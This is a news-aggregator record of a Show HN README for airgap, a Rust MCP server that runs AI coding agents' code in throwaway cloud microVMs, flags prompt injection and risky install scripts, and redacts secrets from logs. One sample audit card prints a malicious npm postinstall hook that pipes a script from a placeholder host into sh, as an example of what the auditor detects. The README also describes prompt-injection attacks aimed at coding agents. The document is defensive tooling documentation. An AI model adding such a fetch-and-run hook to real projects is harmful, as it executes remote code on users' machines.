{"slug": "show-hn-airgap-run-coding-agents-in-disposable-microvms-rust-mcp", "title": "Show HN: Airgap, run coding agents in disposable microVMs (Rust/MCP)", "summary": "A developer released airgap, an open-source MCP server written in 100% Rust that runs AI coding agents' code in disposable Linux microVMs on GMI Cloud, deleting each virtual machine after the run so executed code never touches the host machine's SSH keys, cloud tokens or private files. Airgap uploads only the files an agent explicitly passes, scans issue and PR text for hidden prompt-injection instructions via GMI's model-assisted classifier, flags risky install scripts in package.json, requirements.txt and Cargo.toml, and redacts passwords, tokens and keys from sandbox logs before the agent sees them. The tool installs via a checksum-verified release script or the npx airgap-mcp launcher, and the first run per image builds a template that can take minutes, with later runs reusing it.", "body_md": "**Disposable GMI AgentBox microVM execution, supply-chain auditing, and secret-redacting security boundary for AI coding agents.**\n\nAI coding agents like Claude Code, Cursor and Droid often need to run code: install packages, build a project, run its tests, or try a fix from a pull request. Normally that code runs on your own computer, next to your SSH keys, cloud tokens and private files. If the code is malicious, your machine pays for it.\n\nairgap gives your agent a safe place to do that work instead. It is a small program that runs next to your editor. When your agent needs to run something, airgap sends only the files it needs to a fresh, throwaway Linux virtual machine on GMI Cloud, runs it there, and brings back the result. The virtual machine is deleted afterwards.\n\nAlong the way it also:\n\n- checks issue and PR text for hidden instructions aimed at your agent,\n- warns about risky install scripts in `package.json` ,`requirements.txt` or`Cargo.toml` ,\n- removes passwords, tokens and keys from logs before your agent sees them.\n\nYou keep working as usual. Ask your agent to \"use airgap and run the tests\", and it does the rest.\n\n[**Website**](https://www.useairgap.dev) ·\n  [**Docs**](https://www.useairgap.dev/docs) ·\n  [**Guides**](https://www.useairgap.dev/guides) ·\n  **Quickstart**\n\n## Detailed component diagram\n\n```\nflowchart LR\n    subgraph Host[\"Local Workstation (Protected)\"]\n        Agent[\"AI Coding Agent<br/>(Claude Code / Cursor / Droid)\"]\n        Airgap[\"airgap MCP Server<br/>(100% Rust stdio)\"]\n        Scanners[\"Local Scanners<br/>• Secret Redactor<br/>• Supply-Chain Auditor\"]\n        Agent --> Airgap\n        Airgap --> Scanners\n    end\n\n    subgraph Cloud[\"GMI Cloud Security Boundary\"]\n        AgentBox[\"GMI AgentBox MicroVM<br/>(Node.js / Python / Rust containers)\"]\n        MaaS[\"GMI MaaS<br/>(Defensive Prompt-Injection Classifier)\"]\n        Airgap -->|\"Explicit Files & Commands\"| AgentBox\n        Airgap -->|\"Sanitized Untrusted Text\"| MaaS\n    end\n\n    AgentBox -->|\"Test Logs & Exit Code\"| Airgap\n    Airgap -->|\"Compact Markdown Status Card\"| Agent\n```\n\nOnly files the agent passes explicitly are uploaded; the server never reads your working tree on its own. Sandbox output is redacted before it reaches the agent, and every sandbox is deleted after the run. The image template stays on GMI Cloud so later runs with the same image and instance type skip the build. Details: [architecture](https://github.com/dhruvil-codes/airgap/blob/main/docs/architecture.md) and [threat model](https://github.com/dhruvil-codes/airgap/blob/main/docs/security-model.md).\n\n|  | Local host execution | Docker on host | airgap cloud microVM | \n|---|---|---|---|\n| Host contamination risk | High | Medium (shared kernel, mounted volumes) | None from executed code; it runs remotely | \n| Needs local Docker daemon or VMs | No | Yes | No | \n| Startup overhead | None | Local image pull and build | Remote provisioning; no local build (the first run per image builds a template, which can take minutes; later runs reuse it) | \n| Pre-execution dependency audit | None | None | `airgap_audit_supply` | \n| Secret scrubbing in logs | None | None | Automatic on sandbox output; `airgap_redact_secrets` for any text | \n| Prompt-injection defense | None | None | Model-assisted `airgap_scan_injection` | \n\nEvery sandbox run and PR verification passes four gates in order. If one fails, the run stops there.\n\n**1. Install.** The installers download a published release, verify its SHA-256 checksum and run `airgap setup --yes`.\n\n```\n# macOS / Linux\ncurl -fsSL https://raw.githubusercontent.com/dhruvil-codes/airgap/main/scripts/install.sh | bash\n# Windows PowerShell\nirm https://raw.githubusercontent.com/dhruvil-codes/airgap/main/scripts/install.ps1 | iex\n```\n\nWith Node.js 18+, you can run the MCP server without a global install. The npm launcher downloads and verifies the matching release, caches it, and passes any arguments through to airgap:\n\n```\nnpx -y airgap-mcp                 # start the stdio MCP server\nnpx -y airgap-mcp setup --yes     # or run the normal setup flow\n```\n\nIf no release is published yet, or you prefer source, use Cargo (Rust 1.89+ and a native linker):\n\n```\ncargo install --git https://github.com/dhruvil-codes/airgap --locked\n```\n\n**2. Configure your editors.** Run this from your workspace:\n\n```\nairgap setup            # detected editors; Cursor, Claude Code and VS Code if none detected\nairgap setup --cursor   # one editor only\nairgap setup --rules-only --yes   # agent routing rules only\n```\n\nSetup registers the server for Claude Code, Cursor, VS Code and Factory Droid, and adds a managed routing-rule block to `.cursorrules`, `CLAUDE.md` and `AGENTS.md`. For Claude Code it adds `mcp__airgap__*` to `permissions.allow` without changing `permissions.defaultMode`, so airgap tools run without prompts while host tools (` Bash`, `Write`, `Edit`) keep their existing confirmation gates (pass `--claude-bypass-permissions` only if you explicitly want to disable all Claude Code tool prompts; see [setup](https://github.com/dhruvil-codes/airgap/blob/main/docs/setup.md#claude-code-permissions)). GMI keys are written only to user-level configs (`~/.claude.json`, `~/.cursor/mcp.json`, `~/.factory/mcp.json`). Workspace files such as `.mcp.json`, `.cursor/mcp.json`, `.vscode/mcp.json` and `.factory/mcp.json` never store credentials, and setup removes keys it finds there. Set `GMI_AGENTBOX_API_KEY` and `GMI_MAAS_API_KEY` first (see [.env.example](https://github.com/dhruvil-codes/airgap/blob/main/.env.example)); local scanners work without them.\n\n**3. Check health.**\n\n```\nairgap doctor\n```\n\nDoctor checks both keys, the MaaS gateway, AgentBox compute eligibility, the configured model, and every registered editor config, labeled by client and scope. It creates no billable resources.\n\nReload your editor and prompt normally. The server instructions and routing rules tell the agent to pick and chain the tools itself:\n\n| You say | The agent calls | \n|---|---|\n| \"use airgap and run tests\" | `airgap_audit_supply` on the manifest, then`airgap_sandbox_run` | \n| \"use airgap to verify this PR diff\" | `airgap_verify_patch` (falls back to`airgap_sandbox_run` on a provider error) | \n| \"use airgap to audit dependencies\" | `airgap_audit_supply` | \n| \"triage issue #42\" | `airgap_scan_injection` on the issue text before acting on it | \n\nRouting rules guide tool choice; they cannot enforce it. Adding this server does not disable the agent's own terminal tools, so configure client permissions if all execution must go through airgap.\n\nSandbox, patch verification and supply-chain tools return a box-drawn terminal card for the agent; secret redaction and injection scans return a compact Markdown card. Every tool also returns the full JSON as `structuredContent`. These two cards are real output from the release binary:\n\n```\n╭─ 🛡️  AIRGAP SUPPLY-CHAIN AUDIT ──────────────────────────────────────────────────────╮\n│  RISK      🚨 HIGH                                   DURATION   4ms                  │\n│  FLAGGED   2 items                                   SCOPE      Manifest heuristics  │\n├──────────────────────────────────────────────────────────────────────────────────────┤\n│  FLAGGED COMMANDS                                                                    │\n│  • npm script postinstall: curl -s https://example.invalid/x.sh | sh                 │\n│  • dependencies/left-pad: remote or local dependency requires review                 │\n├──────────────────────────────────────────────────────────────────────────────────────┤\n│  🔒 Manifest heuristics evaluated. Local host protected.                             │\n╰──────────────────────────────────────────────────────────────────────────────────────╯\n🛡️ **Airgap Secret Redactor** · ⏱️ **5ms**\n🔒 **1 Secret Redacted**\n\n> DATABASE_URL=postgres://app@db/prod\n> DB_PASSWORD=[REDACTED]\n> max_tokens = 4096\n```\n\nSandbox and verification cards have the same frame. Their duration includes remote provisioning, so expect seconds rather than milliseconds (the values below are illustrative):\n\n```\n╭─ 🛡️  AIRGAP SANDBOX EXECUTION ───────────────────────────────────────────────────────╮\n│  STATUS    ✅ PASSED                                 EXIT CODE  0                    │\n│  IMAGE     docker.io/library/rust:1-bookworm         DURATION   41870ms              │\n│  COMPUTE   gmi.sandbox.medium                        SANDBOX    100% Host Guarded    │\n├──────────────────────────────────────────────────────────────────────────────────────┤\n│  OUTPUT                                                                              │\n│  running 1 test                                                                      │\n│  test arithmetic ... ok                                                              │\n│                                                                                      │\n│  test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out          │\n├──────────────────────────────────────────────────────────────────────────────────────┤\n│  🔒 Host Protected: Executed inside isolated GMI AgentBox MicroVM. Zero local        │\n│  modifications.                                                                      │\n╰──────────────────────────────────────────────────────────────────────────────────────╯\n╭─ 🛡️  AIRGAP REMOTE PATCH VERIFICATION ───────────────────────────────────────────────╮\n│  VERDICT   ❌ UNVERIFIED                             DURATION   38210ms              │\n│  STATUS    46 passed · 2 failed                      COMPUTE    gmi.sandbox.medium   │\n│  IMAGE     docker.io/library/node:20-bookworm        SANDBOX    100% Host Guarded    │\n├──────────────────────────────────────────────────────────────────────────────────────┤\n│  TEST SUITE METRICS                                                                  │\n│  Pass Rate: 96% [█████████████████████████████░] 46/48                               │\n├──────────────────────────────────────────────────────────────────────────────────────┤\n│  FAILURE REASONS                                                                     │\n│  • Patch apply or test command failed (exit code 1).                                 │\n│  • 2 test(s) failed.                                                                 │\n├──────────────────────────────────────────────────────────────────────────────────────┤\n│  OUTPUT (last 20 lines)                                                              │\n│    ✘ parser › rejects empty input                                                    │\n│    ✘ parser › keeps trailing newline                                                 │\n│    ─                                                                                 │\n│    2 tests failed                                                                    │\n├──────────────────────────────────────────────────────────────────────────────────────┤\n│  🔒 Zero Host Contamination: Clean base snapshot verified in disposable cloud        │\n│  sandbox.                                                                            │\n╰──────────────────────────────────────────────────────────────────────────────────────╯\n```\n\n| **How it works.** One call, from agent to microVM and back. | **The problem and the fix.** Installs, builds and tests run off your machine. | \n| **Security gates.** Scan, audit, isolate, scrub. |  | \n\n| Tool | Runs in | What it does | \n|---|---|---|\n| `airgap_sandbox_run` | AgentBox | Runs a command against an explicit file snapshot. Picks a Rust, Node.js or Python image from the files, or uses `image` . Returns exit code, redacted stdout/stderr and duration. | \n| `airgap_verify_patch` | AgentBox | Applies a unified diff to a clean base snapshot and runs the test command. Verified only with exit 0, untruncated logs and a recognized Rust or pytest summary. If the provider returns an error (currently HTTP 403 on the tested account), agents are told to apply the diff and run tests with `airgap_sandbox_run` . | \n| `airgap_scan_injection` | MaaS | Classifies issue, PR, log or feedback text as clean, suspicious or malicious. Text is redacted locally first; malformed model output never yields a clean verdict. | \n| `airgap_redact_secrets` | Local | Scrubs private keys, known token formats, credential assignments and high-entropy strings. Sends nothing to the cloud. | \n| `airgap_audit_supply` | Local | Flags install-time scripts and alternate dependency sources in `package.json` ,`requirements.txt` or`Cargo.toml` . Heuristics only; no advisory database. | \n| `airgap_configure` | Local | Changes the default model and timeout (1–1800 s) for later calls. | \n| `airgap_audit_repo` | AgentBox + MaaS | Six-phase defensive static review of explicit files. Findings must quote the exact source line; runtime exploitability is not tested. | \n\nInputs, limits, configuration variables and cleanup behavior are in the [tool reference](https://github.com/dhruvil-codes/airgap/blob/main/docs/reference.md). Example arguments: [examples/sandbox-run.json](https://github.com/dhruvil-codes/airgap/blob/main/examples/sandbox-run.json), [examples/redact-secrets.json](https://github.com/dhruvil-codes/airgap/blob/main/examples/redact-secrets.json).\n\n- GMI sandboxes have outbound internet. \"airgap\" refers to the host execution boundary; this is not an offline or physically air-gapped system.\n- Files you send to a sandbox or model leave your machine. Sandbox snapshots are uploaded unchanged; injection-scan text and audit sources are redacted first.\n- Provider base URLs are read only from the process environment, so a cloned repository's `.env` cannot redirect your keys.\n- Scanners and model verdicts can be wrong. Receipts are unsigned SHA-256 integrity records, not attestations.\n\nRead the [threat model](https://github.com/dhruvil-codes/airgap/blob/main/docs/security-model.md) and the [security policy](https://github.com/dhruvil-codes/airgap/blob/main/SECURITY.md) before relying on it.\n\n```\ncargo fmt --check\ncargo check --locked\ncargo test --locked --all-targets\ncargo clippy --locked --all-targets -- -D warnings\ncargo build --release --locked\n```\n\nTests run offline against local HTTP mocks and a real stdio child process; they need no GMI credentials and create no billable resources. On memory-constrained Windows machines, see [CONTRIBUTING.md](https://github.com/dhruvil-codes/airgap/blob/main/CONTRIBUTING.md).\n\nNote\n\nAI coding agents such as Claude Code, Cursor, Droid and Windsurf routinely run untrusted scripts, build unfamiliar repositories, reproduce issues and execute test suites. Doing that on a developer workstation exposes it to malicious install hooks, supply-chain attacks and credential theft. airgap is a local [Model Context Protocol](https://modelcontextprotocol.io/) server that moves that execution into disposable GMI cloud microVMs, and scrubs secrets locally before logs or untrusted text are shown or sent to a model. Submitted commands never run on your machine.\n\nWarning\n\nEarly development. Offline tests and release builds pass on Linux, macOS and Windows. Live sandbox runs and inference work on the tested account; live patch verification currently gets HTTP 403 from GMI. See the [validation record](https://github.com/dhruvil-codes/airgap/blob/main/docs/validation.md).\n\nLicensed under either [MIT](https://github.com/dhruvil-codes/airgap/blob/main/LICENSE-MIT) or [Apache-2.0](https://github.com/dhruvil-codes/airgap/blob/main/LICENSE-APACHE), at your option.\n\nMaintained by [Dhruvil Mistry](https://github.com/dhruvil-codes). An independent project, not an official GMI Cloud product.", "url": "https://wpnews.pro/news/show-hn-airgap-run-coding-agents-in-disposable-microvms-rust-mcp", "canonical_source": "https://github.com/dhruvil-codes/airgap", "published_at": "2026-12-01 10:26:13+00:00", "updated_at": "2026-12-01 10:46:12.294554+00:00", "lang": "en", "topics": ["ai-agents", "ai-tools", "ai-safety", "agent-protocols", "developer-tools"], "entities": ["airgap", "GMI Cloud", "Claude Code", "Cursor", "Droid", "GMI AgentBox", "GMI MaaS"], "also_reported_by": [], "takeaway": "Airgap's MCP server runs agent-requested code in a throwaway GMI Cloud microVM, uploads only explicitly passed files, and redacts secrets from sandbox output before returning it, though the first run per image builds a template that can take minutes.", "recommendation": null, "alternates": {"html": "https://wpnews.pro/news/show-hn-airgap-run-coding-agents-in-disposable-microvms-rust-mcp", "markdown": "https://wpnews.pro/news/show-hn-airgap-run-coding-agents-in-disposable-microvms-rust-mcp.md", "text": "https://wpnews.pro/news/show-hn-airgap-run-coding-agents-in-disposable-microvms-rust-mcp.txt", "jsonld": "https://wpnews.pro/news/show-hn-airgap-run-coding-agents-in-disposable-microvms-rust-mcp.jsonld"}}